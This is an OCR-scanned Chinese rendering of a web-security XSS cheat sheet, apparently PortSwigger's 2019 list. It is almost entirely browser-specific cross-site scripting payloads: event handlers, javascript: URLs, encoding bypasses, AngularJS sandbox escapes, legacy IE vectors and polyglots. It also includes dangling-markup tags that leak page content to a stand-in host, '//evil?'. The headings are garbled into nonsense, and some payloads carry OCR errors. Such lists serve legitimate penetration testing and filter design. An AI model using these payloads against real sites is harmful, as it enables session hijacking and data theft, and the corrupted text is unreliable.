XA (XSS ) Bl , WETABNXSSERE , 857 JMSEMLE, BRI, F5FEHE. RE
FRF. RSN, IDRERERID , ATLARESEN A RS WAFFDIS L,

FET  [FEXHPortswiggerAEfIWebZ 2T 20195 B IEHT , XY , MRIPRAAERSFETLEBurp suite
E’J’\i , Bx/aEHdE : 20195611 B8HE#AF10:58:07,

SR

RERPZENSEHLEER
AETCRRI AR (IE)

<a id=x tabindex=1 onactivate=alert(l)></a>
TAEFTENBftA ( Chrome, Firefox. IE)

<body onafterprint=alert(1l)>
CSSHNEEGHERTARA (Firefox)

<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out Os
1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(l)"></a>

CSSHNEERRT A ( Chrome. Firefox. IE. Safari)
<style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(l)"></a>
BEECSSHERTftA ( Chrome, Firefox, IE. Safari)

<style>@keyframes slidein {}</style><a style="animation-duration:1ls;animation-
name:slidein;animation-iteration-count:2" onanimationiteration="alert(1l)"></a>

CSSENEFARfEA ( Chrome, Firefox, IE. Safari)

<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(l)'"></a>
ERGETTRZAIRA (IE)

<a jd=x tabindex=1 onbeforeactivate=alert(l)></a>

EERTTRZARA (IE)

<a 1id=x tabindex=1 onbeforedeactivate=alert(l)></a><input autofocus>
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EmEFTENRIfitA ( Chrome, Firefox. IE)

<body onbeforeprint=alert(1)>

MU EftA ( Chrome )

<svg><animate onbegin=alert(1l) attributeName=x dur=1ls>

sveREFFIARTfEA ( Chrome, Firefox, Safari)

<svg><animate onbegin=alert(1l) attributeName=x dur=1ls>

HREAEERIfLA ( Chrome, IE. Safari )

<a onblur=alert(1l) tabindex=1 id=x></a><input autofocus>

IEHESR BRI AL ( Firefox, IE)

<marquee width=1 Toop=1 onbounce=alert(l)>XSS</marquee>

ANERETRETLASRNfAA ( Chrome, Firefox, IE. Safari)

<audio oncanplay=alert(1l)><source src="validaudio.wav" type="audio/wav'></audio>

D2 BRIEHREIASTT BN RATARA ( Chrome, Firefox, IE, Safari)

<video oncanplaythrough=alert(1l)><source src="validvideo.mp4" type="video/mp4'"></video>

SFRTTRRMA (IE)

<a id=x tabindex=1 ondeactivate=alert(1l)></a><input id=y autofocus>

FIRIBR G EeRd A ( Chrome, Firefox, IE. Safari)

<audio controls autoplay onended=alert(l)><source src="validaudio.wav" type="audio/wav">
</audio>

HIRINE M= SE S IRATAEA ( Chrome, Firefox, IE. Safari)
<audio src/onerror=alert(l)>

IEIETT AT A ( Firefox, IE)

<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>

LREEERRA (Chrome, IE. Safari)



<a jd=x tabindex=1 onfocus=alert(l)></a>

HEEEERAHA (Chrome, IE, Safari)

<a id=x tabindex=1 onfocusin=alert(l)></a>

HREAEERIfLA ( Chrome, [E. Safari)

<a onfocusout=alert(1l) tabindex=1 id=x></a><input autofocus>

WNRIGFHEEN , WftA ( Chrome, Firefox, IE, Safari)

<body onhashchange="alert(1)">

InETTRARA ( Safari)

<svg><a onload=alert(1l)></a>

IN#Eks—miRdftA ( Chrome., Firefox, IE. Safari)

<audio onloadeddata=alert(l)><source src="validaudio.wav" type="audio/wav"></audio>

INETTHUERftA ( Chrome, Firefox, IE. Safari)

<audio autoplay onloadedmetadata=alert(1l)> <source src="validaudio.wav" type="audio/wav">
</audio>

HITESRAINEATAA ( Firefox)

<image src=validimage.png onloadend=alert(1l)>

HITEFHAINEETRRA ( Firefox)

<image src=validimage.png onloadstart=alert(1l)>

L MpostMessagelfFEKEEESEERTftA ( Chrome, Firefox, IE. Safari)

<body onmessage=alert(1)>

B RmmEATftA ( Chrome, Firefox, IE, Safari)

<body onpageshow=alert(1l)>

BHCE R A ( Chrome., Firefox, IE. Safari)



<audio autoplay onplay=alert(l)><source src="validaudio.wav" type="audio/wav'"></audio>

fibA RBEIEERBHL ( Chrome, Firefox. IE. Safari)

<audio autoplay onplaying=alert(l)><source src="validaudio.wav" type="audio/wav'></audio>

BRI REXATfRA ( Chrome., Firefox, IE. Safari)

<body onpopstate=alert(l)>

svgREESRftA ( Chrome, Firefox, Safari)

<svg><animate onrepeat=alert(l) attributeName=x dur=1ls repeatCount=2 />

TEEERE O A/NITfEA ( Chrome, Firefox, IE. Safari)

<body onresize="alert(1)">

TN RAfRA ( Chrome., Firefox, IE. Safari)

<body onscroll=alert(1l)><div style=height:1000px></div><div id=x></div>

IEIEFF AR A ( Firefox, IE)

<marquee onstart=alert(1)>XSS</marquee>

FXATEihAd R4 ( Chrome. Firefox, IE. Safari)

<audio controls autoplay ontimeupdate=alert(l)><source src="validaudio.wav"
type="audio/wav"></audio>

EFFAERRERARA ( Chrome, Firefox, IE, Safari)

<details ontoggle=alert(1l) open>test</details>

CSSITEEGHER A ( Firefox)

<style>:target {color: red;}</style><a id=x style="transition:color 10s"
ontransitioncancel=alert(l)></a>

CSSITELERATREA ( Chrome)

<style>:target {color:red;}</style><a id=x style="transition:color 1s"
ontransitionend=alert(l)></a>

CSSITEFFIRRTftA ( Firefox)



<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s"
ontransitionrun=alert(l)></a>

KEfTEERAA ( Firefox)

<body onunhandledrejection=alert(1l)><script>fetch('//xyz')</script>

FSEUERA (1E)

<video autoplay controls onwaiting=alert(l)><source src="validvideo.mp4" type=video/mp4>
</video>

EERPZENEELIEER
L L FERERPERARA ( Chrome, Firefox)

<input onauxclick=alert(l)>

EESH|—EES=F ( Chrome, Firefox, IE. Safari)

<a onbeforecopy="alert(1)" contenteditable>test</a>

BESREM]—ERSC= ( Chrome, Firefox, IE, Safari)

<a onbeforecut="alert(1)" contenteditable>test</a>

BERUWE—ERN=F (IE)

<a onbeforepaste="alert(1)" contenteditable>test</a>

FERMEMENIH, ( Chrome, Firefox, IE, Safar)

<input onchange=alert(1l) value=xss>

EEAF—T5T= (Chrome, Firefox, IE. Safari)

<a onclick="alert(l)">test</a>

GRBELIERETIERERfA ( Chrome, Firefox, IE. Safari)

<a oncontextmenu="alert(l)">test</a>

EESH|—EE = ( Chrome, Firefox, IE. Safari)

<a oncopy="alert(1)" contenteditable>test</a>



BESREI]—ERC= ( Chrome, Firefox, IE, Safari)

<a oncut="alert(1)" contenteditable>test</a>

WHTcERfRA ( Chrome, Firefox, IE. Safari)

<a ondblclick="alert(1l)">test</a>

fih&3BEENT= ( Chrome, Firefox. IE. Safari)

<a draggable="true" ondrag="alert(1l)">test</a>

A HEREETTE= L=k ( Chrome. Firefox, IE. Safari)

<a draggable="true" ondragend="alert(1l)">test</a>

EEREMRERD ( Chrome, Firefox, IE, Safari)

<a draggable="true" ondragenter="alert(l)">test</a>

EEREMRMESD ( Chrome, Firefox, IE. Safari)

<a draggable="true" ondragleave="alert(1l)">test</a>

il & HESNTCE= ( Chrome. Firefox. IE. Safari)

<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1)
contenteditable>drop here</a>

EEREMRESD ( Chrome, Firefox, IE. Safari)

<a draggable="true" ondragstart="alert(l)">test</a>

fi & RS ETERITTES ( Chrome, Firefox, IE. Safari)

<div draggable="true" contenteditable>drag me</div><a ondrop=alert(l) contenteditable>drop
here</a>

SEERNERZE{L ( Chrome, Firefox, IE. Safari)

<input oninput=alert(l) value=xss>

FEEEAREERLIRAITE (FINEREMY ) B9FRRIZER. (Chrome, Firefox, IE. Safari)

<form><input oninvalid=alert(1l) required><input type=submit>



TRt A ( Chrome, Firefox. IE. Safari)

<a onkeydown="alert(1)" contenteditable>test</a>

T EERfhA ( Chrome, Firefox. IE. Safari)

<a onkeypress="alert(1)" contenteditable>test</a>

BEERERfDA ( Chrome, Firefox, IE. Safari)
<a onkeyup="alert(1)" contenteditable>test</a>

R NERATff A& ( Chrome, Firefox, IE, Safari)

<a onmousedown="alert(1l)">test</a>

LRITREETTE LAYfA ( Chrome, Firefox, IE. Safari)

<a onmouseenter="alert(l)">test</a>

LRIMEETTERATA ( Chrome, Firefox, IE. Safari)
<a onmouseleave="alert(1l)">test</a>

EEFEMEE] ( Chrome, Firefox, IE. Safari)

<a onmousemove="alert(l)">test</a>

LR ETTERALA ( Chrome, Firefox, IE. Safari)
<a onmouseout="alert(l)">test</a>

FEEERIAEEETTEL (Chrome, Firefox, IE. Safari)

<a onmouseover="alert(l)">test</a>

B EnE YA ( Chrome., Firefox, IE. Safari)

<a onmouseup="alert(1l)">test</a>

EERENE—ERSI= ( Chrome, Firefox. IE. Safari)

<a onpaste="alert(1)" contenteditable>test</a>

FEEAFITEABCES ( Chrome, Firefox, IE. Safari)



<audio autoplay controls onpause=alert(l)><source src="validaudio.wav" type="audio/wav">
</audio>

FEAd (Chrome, Firefox, IE. Safari)

<form onreset=alert(1l)><input type=reset>
RAFRRFERMANEGHERNypeBIHAIR ( Chrome )

<form><input type=search onsearch=alert(1l) value="Hit return" autofocus>

EEAFITTEATES ( Chrome, Firefox, IE. Safari)

<audio autoplay controls onseeked=alert(1l)><source src="validaudio.wav" type="audio/wav">
</audio>

BERTITERMEM ( Chrome, Firefox, IE. Safari)

<audio autoplay controls onseeking=alert(l)><source src="validaudio.wav" type="audio/wav">
</audio>

FEEEIRF ( Chrome, Firefox, IE. Safari)

<input onselect=alert(1l) value="XsSS" autofocus>
EEERERSRER ( Chrome, Firefox, IE. Safari)

<form onsubmit=alert(1l)><input type=submit>
HEARE AT EREFHFEHINZ ( Chrome)

<svg onunload=window.open('javascript:alert(l)')>
FEFTHEE (Chrome, Firefox, IE. Safari)

<audio autoplay controls onvolumechange=alert(1l)><source src="validaudio.wav"
type="audio/wav'"></audio>

EHEIRRRAAEA ( Chrome, Firefox, IE. Safari)
<body onwheel=alert(1)>

BREIF T

THES | ERRELLE
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<script>onerror=alert;throw 1l</script>

THES DS | ERFELE
<script>{onerror=alert}throw 1</script>
TRESHSFELE  REERAREINFES
<script>throw onerror=alert,l</script>
TR SHELIEevil
<script>throw onerror=eval, '=alert\x281\x29'</script>

FAES | fFirefox LERASELEMevil

<script>
{onerror=eval}throw{TineNumber:1,columnNumber:1,fileName:1,message: 'alert\x281\x29'}
</script>

THES |, {FHES6 haslinstanceflinstanceofSeval
<script>'alert\x281\x29"'instanceof{[Symbol.hasInstance]:eval}</script>
THEE |, (#EHES6AYhasinstancefinstanceof LA eval
<script>"alert\x281\x29'instanceof{[Symbo1['hasInstance']]:eval}</script>
THES | ERMEEER
<script>location="javascript:alert\x281\x29'</script>
TFFE , ERUELBESEER
<script>location=name</script>

ToiES | (CRtERTTER

<script>alert 1 </script>

el 3 LIS n
RUimHESR
Bootstrap onanimationstart={4

<xss class=progress-bar-animated onanimationstart=alert(l)>
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Bootstrap ontransitionendZE{4

<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1l)>
<Xss class=carousel-inner><xss class="carousel-item active'></Xxss><xss class=carousel-item>
</XSS></XSS></XSS>

B Y

iframe srcf@4)avaScripttimy

<iframe src="javascript:alert(1)">
BAJavaScriptiiAIxdSsdataE it

<object data="javascript:alert(1)">
{EEFE)avaScriptiidER A\ src /&%

<embed src="javascript:alert(1)">
FrEERY)avaScriptipy

<a href="javascript:alert(1l)">Xss</a>
ARDANEHIHY

<a href="Javascript:alert(1l)">XSS</a>
Y Z BIFSTFERZ A \X01- \x20

<a href=" javascript:alert(1)">XSS</a>
WM R AEFERFAR\ x09 , \x0a , \x0d

<a href="javas cript:alert(l)">XsSs</a>
Y BFRIGEE SRISBIFFART\X09 , \x0a , \x0d
<a href="javas cript:alert(1l)">XSs</a>
T )avaScriptiM¥AISVGHRIXIinkap 2 =S8

<svg><a xlink:href="javascript:alert(l)"><text x="20" y="20">XSS</text></a>

{FFE{ERISVGEIEIRES
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<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(l) /><a id=xss>
<text x=20 y=20>XSS</text></a>

SVGHIEREAT

<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(l) to=1 /><a id=xss>
<text x=20 y=20>XSS</text></a>

SVGIZEIREs

<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(l) /><a id=xss><text
x=20 y=20>XSS</text></a>

VA srerRASEEEIY

<script src="data:text/javascript,alert(l)"></script>
SVGHIARhreff@lt , TRRIMAIRE

<svg><script href="data:text/javascript,alert(1)" />
SVGfsER TE&Chrome/Firefox

<svg><use href="data:image/svg+xml,<svg id='x"' xmIns="http://www.w3.0rg/2000/svg"'
xmIns:x1link="http://www.w3.0rg/1999/xTink"' width="100" height="100'><a
x1link:href="javascript:alert(l) '><rect x='0' y='0"' width="100" height='100" /></a></svg>#x">
</use></svg>

B RSIEURLIIS NIED

<script>import('data:text/javascript,alert(l)')</script>
BEJavaScriptthM{AEATRCES THEXJURL

<base href="javascript:/a/-alert(1)///////"><a href=../lol1/safari.html>test</a>

MathMLEEHARESERAT R

<math><x href="javascript:alert(1)">blah

RAEEE

<form><button formaction=javascript:alert(1l)>XSS

BRI



<form><input type=submit formaction=javascript:alert(1l) value=XSS>

R 51750

<form action=javascript:alert(1l)><input type=submit value=XSS>

IsindexfIformaction

<isindex type=submit formaction=javascript:alert(l)>

index#0action

<isindex type=submit action=javascript:alert(l)>

KBRS Rt —iE

<svg><use href="//subdomainl.portswigger-Tabs.net/use_element/upload.php#x" /></svg>
Hitr R

{$srcdoc/EtE

<iframe srcdoc="<img src=1 onerror=alert(1l)>"></iframe>

XISEfAfsERIsrcdoc

<iframe srcdoc="&l1t;img src=1 onerror=alert(1)&gt;"></iframe>

AEREEAMHIUE (EEERPING ) BERTE

<form action="javascript:alert(1l)"><input type=submit id=x></form><label for=x>XSS</label>
BERtRTIIN | IpaR IR LT BB AR BT = LB AXSS

<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows)
(CTRL+ALT+X on 0S X)

HHETTR | IhIRREILEEE LA BRITTRE_LBRXSS

<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows)
(CTRL+ALT+X on 0S X)

TEEMERI LR SRIMAAYRIA

<a href=# download="filename.html">Test</a>
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{EEFFReferrerpolicyZZF35 | ZF3R ML

<img referrerpolicy="no-referrer" src="//portswigger-Tlabs.net">
1SR

EERZEthE

<meta http-equiv="refresh" content="0; url=//portswigger-labs.net">
TCF RSB UTE-7

<meta charset="UTF-7" /> +ADw-script+AD4-alert(1l)+ADw-/script+AD4-
TTFRFEUTF-7

<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-
alert(1)+ADw-/script+AD4-

UTF-7 BOMZEFF ( WRFESIRYFFSL ) 1

+/v8
+ADw-script+AD4-alert(1l)+ADw-/script+AD4-

UTF-7 BOMZEFF ( WRFESIRYFFSL ) 2

+/v9
+ADw-script+AD4-alert(1l)+ADw-/script+AD4-

UTF-7 BOMZEFF ( WRFESIRYFFSL ) 3

+/V+
+ADw-script+AD4-alert(1l)+ADw-/script+AD4-

UTF-7 BOMZFF ( WARTERETTFL ) 4

+/v/
+ADw-script+AD4-alert(1l)+ADw-/script+AD4-

FHRAZEHIER

<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">

Sk

BiTiframeybFaZEA)avaScript

<iframe sandbox src="//portswigger-labs.net"></iframe>
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ZERSIERIR

<meta name="referrer" content="no-referrer'">

RESH

HBICUTF-8

%C0%BCscript>alert(l)</script>
%EQ0%80%BCscript>alert(l)</script>
%F0%80%80%BCscript>alert(l)</script>
%F8%80%80%80%BCscript>alert(1l)</script>
%FC%80%80%80%80%BCscript>alert(l)</script>

Unicodet& X
<script>\u0061lert(1l)</script>
Unicode#% X ES6#F=S;
<script>\u{61}lert(1)</script>
Unicode#t W ES6RFZIEFE
<script>\u{0000000061}Tert(1)</script>
7 BB ES) avaScriptiE X
<script>eval ("\x61lert(1)')</script>
J\E RS

<script>eval('\141lert(1) ')</script>
<script>eval('alert(\061) ')</script>
<script>eval('alert(\61) ')</script>

A A kD SHTHHIRED
<a href="&#106;avascript:alert(1l)">XSS</a><a href="&#1l06avascript

HEHTMLARREARISVGHIA

:alert(l)">XSS</a>
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<svg><script>&#97;lert(1l)</script></svg>
<svg><script>&#x61;lert(1l)</script></svg>
<svg><script>alert&\ewLine; (1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>

TR A HI RS

<a href="&#0000106avascript:alert(l)">Xss</a>
AV L HRISRES

<a href="&#x6a;avascript:alert(l)">XSS</a>

MR T—FRARa-f0-9 , WAERD SHI+7 EHEI4RE

<a href="j&#x61lvascript:alert(1l)">XsSs</a>
<a href="&#x6a

avascript:alert(1l)">XSS</a>

<a href="&#x6a avascript:alert(l)">XSs</a>

HIRFETHI 7\ HI RIS

<a href="&#x0000006a;avascript:alert(l)">XSS</a>
TRHAFRBAX DN

<a href="&#x6A;avascript:alert(1l)">XsSs</a>
HTMLSLAR

<a href="javascript&colon;alert(1l)">XSS</a>

<a href="java&Tab;script:alert(l)">Xss</a>

<a href="java&NewLine;script:alert(l)">XSS</a>

<a href="javascript&colon;alert&lpar;l&rpar;">XSS</a>

[t )
<a href="javascript:x="%27-alert(1)-%27"';">XSS</a>
HTMLSCAFIURLERED

<a href="javascript:x="&percnt;27-alert(1)-%27"';">XSS</a>

=
iter8

Firefox?E & ZJ5FtiFNULL
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<a href="javascript&#x6a;avascript:alert(l)">Firefox</a>

Firefox SeiFfEap A SR ERANULL
<a href="javascript&colon;alert(1l)">Firefox</a>
FirefoxfEFFSLAGEREF RITFFERANULLFRF

<l-- ><img title="--><iframe/onload=alert(1)>"> -->
<l-- ><img title="--><iframe/onload=alert(1)>"> -->

T abase64BIHIA srcPRYEHEIMY

<script src=data:text/javascript;base64,YwxlcnQoMSk=></script>
e bl o= S

EFimRIREN

Angular]Sib#Eiti%

kR4 : 1.0.1-1.1.5

{{constructor.constructor('alert(1)')(}}
R : 1.0.1-1.1.5 (BIE )
{{$on.constructor('alert(1)') 1}

kRN : 1.2.0-1.2.1

{{a="'constructor' ;b=
{};a.sub.call.call(b[a].getownPropertyDescriptor(b[a].getPrototypeof(a.sub),a).value,0, 'aler
t(L'HO}

hRA :1.2.2-1.2.5
{{{}3.")))5alert(1)//"}}
IRA : 1.2.6-1.2.18

{{(_="".sub).call.call({?}
[$="constructor'].getownPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')(}}

FRAS : 1.2.19-1.2.23

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","aTlert(1)"].sort(toString.constructor);}}
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FRAS : 1.2.24-1.2.29

{{{}.")));alert(1)//"}}

hRA :1.2.27-1.2.29/1.3.0-1.3.20

{{{}."))alert(1)//"}}

hRA : 1.3.0

{{!ready && (ready = true) && (
Icall

? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &

(apply = constructor) &&
(valueof = call) &&
(""+"".tostring(

'F = Function.prototype;' +
'F.apply = F.a;"' +

'delete F.a;' +

'delete F.valueof;' +
'alert(l);"

D)) 1}

hRA : 1.3.3-1.3.18

{{{}[{tostring:[].join,Tlength:1,0:'_proto__'}].assign=
[1.join;'a'.constructor.prototype.charAt=[].join;$%$eval('x=alert(1)//"');}}

hRAS :1.3.19

{{'a'[{tostring:false,valueof:[].join,length:1,0:'__proto__"'}].charAt=
[1.join;$eval('x=alert(1)//');}}

hRA 1 1.3.20

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)"');}}

hRA : 1.4.0-1.4.9

{{'a'.constructor.prototype.charAt=[].join;%$eval('x=1} } };alert(1)//');}}

hRA 1 1.5.0-1.5.8

{{x={"'y':"'"'.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');3}}

hRA : 1.5.9-1.5.11



{{

c="".sub.call;b="".sub.bind;a="".sub.apply;
c.$apply=$apply;c.$eval=b;op=$root. $$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=o0d;
B=C(b,c,b);$evalAsync("

astNode=pop() ;astNode.type="UnaryExpression';
astNode.operator="(window.X?void0: (window.X=true,alert(1)))+";
astNode.argument={type: 'Identifier',name:'foo'};

Dt

ml=B($$asyncQueue.pop() .expression,null, $root);
m2=B(C,nul1,ml);[].push.apply=m2;a="".sub;
$eval('a(b.c)');[].push.apply=a;

1}

A :>=1.6.0
{{constructor.constructor('alert(1)')(O}}
FRA :>=1.6.0 (&5E)

{{$on.constructor('alert(1)') O}}

EFDOMAYANngular)SibFgkiR
FPEhRA ( Chrome )

<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)"'">

FrBhRAs ( Chrome ) B35

<input id=x ng-focus=$event.path|orderBy:'(z=alert) (1) '>

FRBRRZS ( FrENIYEs ) ERE

<input autofocus ng-focus="$event.composedPath() |orderBy:'[].constructor.from([1],alert)"'">

hRA : 1.2.0-1.5.0

<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key,
value) in x.view"><div ng-if="key == "'window'">{{ [1].reduce(value.alert, 1); }}</div></div>
</div>



AL
ERE

<body background="//evil?

<table background="//evil?
<table><thead background="//evil?
<table><tbody background="//evil?
<table><tfoot background="//evil?
<table><td background="//evil?
<table><th background="//evil?

HihrefEzlz

<1link rel=stylesheet href="//evil?

SEEhrefEItR

<link rel=icon href="//evil?

MetaflF

<meta http-equiv="refresh" content="0; http://evil?
Imgi@idsrc/BIHEEBIRIC

<img src="//evil?
<image src="//evil?

{ERAtrackTTERIMST

<video><track default src="//evil?

fEAsourcrycE=fsrc/EHERIISR

<video><source src="//evil?

EFsourcesTRMsrcBIHERIS IR

<audio><source src="//evil?

EIASrc

<input type=image src="//evil?

{EAformactionfY#%H


af://n381

<form><button style="width:100%;height:100%" type=submit formaction="//evil?

{EHformactionigi \

<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit
formaction="//evil?

FEAfE M action

<button form=x style="width:100%;height:100%;"><form id=x action="//evil?
EFsrcEMEAYIsindex

<isindex type=image src="//evil?

Isindex{gFEsubmit

<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?
Object data

<object data="//evil?

iframe src

<iframe src="//evil?

Embed src

<embed src="//evil?

{EtextareatmcH R EISMRUAR

<form><button formaction=//evil>XSS</button><textarea name=x>
ERZRRBR@EIwindow.namefEBIRICHIE

<button form=x>XSS</button><form id=x action=//evil target='
EREARBREIwindow.namef&GBtRCEIE

<a href=http://subdomainl.portswigger-Tlabs.net/dangling_markup/name.html><font size=100

color=red>You must click me</font></a><base target=

{EAformtargeti@idwindow.namefEiBtriCEE



<form><input type=submit value="Click me" formaction=http://subdomainl.portswigger-
Tabs.net/dangling_markup/name.html formtarget="

SEFREARhreffEiBE0E

<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base
href="//evil/

fEFfHembed src ATREE1EEE

<embed src=http://subdomainl.portswigger-Tlabs.net/dangling_markup/name.html name="
{ERiframe B O RN NEEEEE

<iframe src=http://subdomainl.portswigger-Tlabs.net/dangling_markup/name.html name="
{EFobjectE R FR M NENEIEETE

<object data=http://subdomainl.portswigger-Tlabs.net/dangling_markup/name.html name="

{ERframesetE O BZFRMNRENEBETE

<frameset><frame src=http://subdomainl.portswigger-Tabs.net/dangling_markup/name.htm]l name="
L Y s

Sie= A NEM

SIESBEMEN

javascript:/*--></title></style></textarea></script></xmp>
<svg/onload="+/"/+/onmouseover=1/+/[*/[1/+alert(1)//"'>

SRS B2

javascript:"/*'/* /*--></noscript></title></textarea></style></template></noembed></script>
<html \"
onmouseover=/*&lt;svg/*/onload=alert()//>

ZHFE ( XSShE )
BAJavaScriptti¥adimage src

<img src="javascript:alert(1)">
taJavaScript{IIEN S S

<body background="javascript:alert(1)">


af://n434
af://n439

BEEIULNEESFERTRIR |, iframeiEMULAEiE(ER
<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">
FBFIERIVBScriptifr¥

<a href="vbscript:MsgBox+1">XSS</a>

<a href="#" onclick="vbs:Msgbox+1">XSS</a>

<a href="#" onclick="VBS:Msgbox+1">XSS</a>

<a href="#" onclick="vbscript:Msgbox+1">XSS</a>

<a href="#" onclick="VBSCRIPT:Msgbox+1">XSS</a>

<a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a>

JScript compact2)SHIER/IRA |, REIERT 2 EE

<a href="#" onclick="jscript.compact:alert(l);">test</a>
<a href="#" onclick="JSCRIPT.COMPACT:alert(1l);">test</a>

JScript.Encode 315 4mAZAY)avaScript

<a href=# Tanguage="J]Script.Encode" onclick="#@~ACAAAAA==CA+.D 8#MgIAAA==A#~@">XSS</a>
<a href=# onclick="3JScript.Encode:#@~ACAAAAA==CA+.D 8#mMgIAAA==A#~@">XSS</a>

VBScript.Encoded 1F4RABAIVBScript

<iframe onload=VBScript.Encode:#@~ACAAAAA==\ko$K6 , FOQIAAA==A#~@>
<iframe language=VBScript.Encode onload=#@~ACAAAAA==\ko$K6, FOQIAAA==A#~0>

FFNetscape NavigatorfijavaScriptSLfRK

<a title="&{alert(1l)}">XSS</a>

Netscape NavigatorZ42374F)avaScriptiEzi®

<1link href="xss.js" rel=stylesheet type="text/javascript">
AT BFEtRIChYRE

<form><button name=x formaction=x><b>stealme
|EQIERTT RN N AT IBFEIRC

<form action=x><button>XSS</button><select name=x><option><plaintext>
<script>token="supersecret"</script>

{XPRXBL Firefox <=2



<div style="-moz-binding:url(//businessinfo.co.uk/Tabs/xb1/xb1.xm1#xss)">

<div style="\-\mo\z-binding:url(//businessinfo.co.uk/Tabs/xb1/xb1.xml1#xss)">

<div style="-moz-bindin\67:url(//businessinfo.co.uk/Tab s/xb1/xb1.xml#xss)">

<div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/Tab s/xb1/xb1.xml#xss)">

XBL{HEE#UREURLIEFF3.58 T

<img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-
8,%3C%3Fxm1%20version%3D%221.0%22%3F%3E%3Cbindings%20xm1ns%3D%22
http%3A//www.mozilla.org/xb1%22%3E%3Cbinding%201d%3D%2210ader%22%3E%3CimpTementation%3E%3Cco
nstructor%3E%3C%21%5BCDATA%5BvVar%20url%20%3D%20%22alert.js
%22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20scr.setAttribute%28
%22srcX%22%2Curl1%29%3B%20var%20bodyE1ement%20%3D%20
document.getElementsByTagName%28%22htm1%22%29 .1 tem%280%29%3B%20bodyE1ement.appendChild%28scr
%29%3B%20%5D%5D%3E%3C/constructor%3eE%3C/implementation%3E%3C/ binding%3E%3C/bindings%3E)" />

CSSFRIA <= IE7

<div style=xss:expression(alert(l))>

<div style=xss:expression(l)-alert(1l)>

<div style=xss:expressio\6e(alert(1l))>

<div style=xss:expressio\006e(alert(l))>
<div style=xss:expressio\00006e(alert(l))>
<div style=xss:expressio\6e(alert(1))>

<div style=xss:expressio&#x5c;6e(alert(1))>

EREELT | ERTFRER=-RE :

<div style=xss=expression(alert(l))>
<div style="color&#x3dred">test</div>

BRI FRTRI1T

<a style="behavior:url(#default#AnchorcClick);" folder="javascript:alert(l)">XSS</a>

|EFRER| BRR AR R SIS ERE R

<script>

function window.onToad(){
alert(1);

3

</script>

<script>

function window: :onload() {
alert(l);

}

</script>

<script>

function window.location(){

}



</script>

<body>

<script>

function/*<img src=1 onerror=alert(1l)>*/document.body.innerHTML() {}
</script>

</body>

<body>

<script>

function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>"; }
</script>

</body>

GreyMagic HTML + timeifmi@#JA ( BMEES docmode MEAEHSIER )

<HTML><BODY><?xm1:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import
namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img
src=1 onerror=alert(1l)>"> </BODY></HTML>

JRIOHBYE : https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
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